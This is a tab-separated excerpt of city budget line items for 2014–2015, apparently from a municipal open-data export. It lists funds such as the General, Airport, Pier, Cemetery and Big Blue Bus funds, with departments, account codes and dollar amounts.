10945	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	88793.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88793.0
10946	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	4196.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4196.0
10947	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2014	26337.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26337.0
10948	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
10949	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	41328.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41328.0
10950	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	3282.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3282.0
10951	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	57330.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	57330.0
10952	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
10953	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	2005.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2005.0
10954	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	540.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	540.0
10955	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	908.0	 Supplies and Expenses	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
10956	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578470.0	GROUNDSKEEPING TRANSFER	810.0	 Supplies and Expenses	2014	78409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	78409.0
10957	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2015	6906.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6906.0
10958	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	509972.0	0	0	0	0.0	4005	0.0	0	0	0	0	0.0	513977.0
10959	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511748.0	DENTAL	804.0	Salaries and Wages	2014	4868.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4868.0
10960	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1911.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1911.0
10961	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3580.0	0	0	0	0.0	31	0.0	0	0	0	0	0.0	3611.0
10962	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	105.0
10963	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511749.0	VISION	804.0	Salaries and Wages	2014	1529.0	0	0	0	0.0	0	54.0	-139	0	0	0	0.0	1444.0
10964	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10114.0	0	0	0	0.0	119	355.0	-654	0	0	0	0.0	9934.0
10965	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6369.0	0	0	0	0.0	85	0.0	0	0	0	0	0.0	6454.0
10966	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	177925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	177925.0
10967	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	76178.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76178.0
10968	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2014	2308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2308.0
10969	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544440.0	WEBSITE DEVOP & MAINTENANCE	808.0	 Supplies and Expenses	2014	5900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5900.0
10970	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	12651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12651.0
10971	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
10972	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
10973	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2014	215.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	215.0
10974	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401680.0	UNDERGROUND TANK PERMITS	612.0	Charges for Service	2014	-34850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-34850.0
10975	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	3325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3325.0
10976	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556100.0	EMBALMING/CREMATION/DECEDENT C		 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
10977	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	390.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	390.0
10978	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511749.0	VISION		Salaries and Wages	2014	816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	816.0
10979	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	65143.0	0	0	0	0.0	1045	0.0	0	0	0	0	0.0	66188.0
10980	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
10981	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EAP		Salaries and Wages	2014	618.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	618.0
10982	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	2050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2050.0
10983	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533250.0	RESTROOM MAINTENANCE		 Supplies and Expenses	2014	15300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15300.0
10984	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2014	1270.0	0	0	0	0.0	18	0.0	0	0	0	0	0.0	1288.0
10985	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405750.0	VEHICLE MAINTENANCE	650.0	Charges for Service	2014	-5623563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5623563.0
10986	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405760.0	ENHANCEMENT PURCHASES	650.0	Charges for Service	2014	-46125.0	0	0	0	0.0	0	0.0	0	0	-97730	0	-533139.0	-676994.0
10987	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	48590.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48590.0
10988	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	1035.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1035.0
10989	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2014	11433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11433.0
10990	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522180.0	BANK FEES		 Supplies and Expenses	2014	654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	654.0
10991	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	20303.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20303.0
10992	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	13340.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13340.0
10993	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	5919.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5919.0
10994	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	2614.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2614.0
10995	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130.0
10996	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533070.0	AIRPORT SECURITY GUARDS TRANS		 Supplies and Expenses	2014	653202.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	653202.0
10997	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533170.0	AUDIO EQUIPMENT MAINTENANCE		 Supplies and Expenses	2014	18505.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18505.0
10998	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	446052.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	446052.0
10999	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2014	3764.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3764.0
11000	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	34257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34257.0
11001	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401662.0	ASSFC PASS-THRU	662.0	Other	2014	-200000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200000.0
11002	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555121.0	ASSFC PASS-THRU		 Supplies and Expenses	2014	200000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200000.0
11003	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-POLICE RETIREE	806.0	Salaries and Wages	2014	101353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	101353.0
11004	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		MEDICAL-RETIREE	804.0	Salaries and Wages	2014	32780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32780.0
11005	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	4200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4200.0
11006	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10250.0
11007	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	1230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1230.0
11008	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
11009	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-RETIREE	806.0	Salaries and Wages	2014	8951.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8951.0
11010	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EAP	804.0	Salaries and Wages	2014	1036.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1036.0
11011	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	10700	0	0	0.0	10700.0
11012	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	5436.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5436.0
11013	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2014	-1300.0	0	0	0	0.0	0	0.0	1300	0	0	0	0.0	0.0
11014	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566880.0	EXPLORER POST	806.0	 Supplies and Expenses	2014	4606.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4606.0
11015	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
11016	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402161.0	NOISE ABATEMENT - AIRPORT	662.0	Other	2014	-40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40000.0
11017	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511749.0	VISION		Salaries and Wages	2014	964.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	964.0
11018	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407890.0	POLYSTYRENE BAN	612.0	Charges for Service	2014	-500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500.0
11019	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4565.0	0	0	0	-134.0	0	0.0	0	0	0	0	0.0	4431.0
11020	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	938.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	938.0
11021	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	256.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256.0
11022	B1	IS	1	General Fund	310	FIRE	315	TRAINING	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	575.0
11023	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	718.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	718.0
11024	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		MEDICAL-RETIREE	806.0	Salaries and Wages	2014	15172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15172.0
11025	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405220.0	MAIN ST-LIGHTS & SIDEWLK CLEAN	622.0	Other	2014	-2661.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2661.0
11026	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407950.0	TRAINING GREEN BUILDING	612.0	Charges for Service	2014	-1040.0	0	0	0	0.0	0	-37575.0	0	0	0	0	0.0	-38615.0
11027	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	299296.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	299296.0
11028	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511749.0	VISION	808.0	Salaries and Wages	2014	2085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2085.0
11029	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	608.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	608.0
11030	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	4182.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4182.0
11031	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	404580.0	BAYSAVER FEES	662.0	Other	2014	-18600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18600.0
11032	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	139.0
11033	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5186.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5186.0
11034	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	-200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200.0
11035	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
11036	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
11037	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	3280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3280.0
11038	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	24276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24276.0
11039	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	110428.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	110428.0
11040	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	56582.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	56582.0
11041	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2015	1432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1432.0
11042	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1217.0
11043	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	11098.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11098.0
11044	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	900.0
11045	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	139.0
11046	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	14566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14566.0
11047	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	367.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	367.0
11048	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	750.0
11049	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
11050	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407220.0	NEIGHBOR NOTIFICATION FEE	612.0	Charges for Service	2014	-21320.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-21320.0
11051	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	6409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6409.0
11052	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER TO FUND 01		 Supplies and Expenses	2014	262757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	262757.0
11053	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400772.0	JONATHAN CLUB LEASE	618.0	Rentals	2014	-125000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-125000.0
11054	B1	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577520.0	INVESTMENT TRANSFERS		 Supplies and Expenses	2014	-344318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-344318.0
11055	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	17494.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17494.0
11056	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
11057	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	550.0
11058	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
11059	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	6000.0	0	0	0	0	0.0	6000.0
11060	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408000.0	INTERFUND SERVICES-FIN	612.0	Charges for Service	2014	-708013.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-708013.0
11061	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405830.0	MEASURE R - OPERATING	658.0	Sales Tax	2014	-7861048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7861048.0
11062	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2014	308479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308479.0
11063	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	225.0	0	0	0	0	0.0	225.0
11064	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	89336.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	89336.0
11065	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	68954.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	68954.0
11066	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	15987.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15987.0
11067	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2014	40341.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40341.0
11068	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	28732.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28732.0
11069	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1666.0
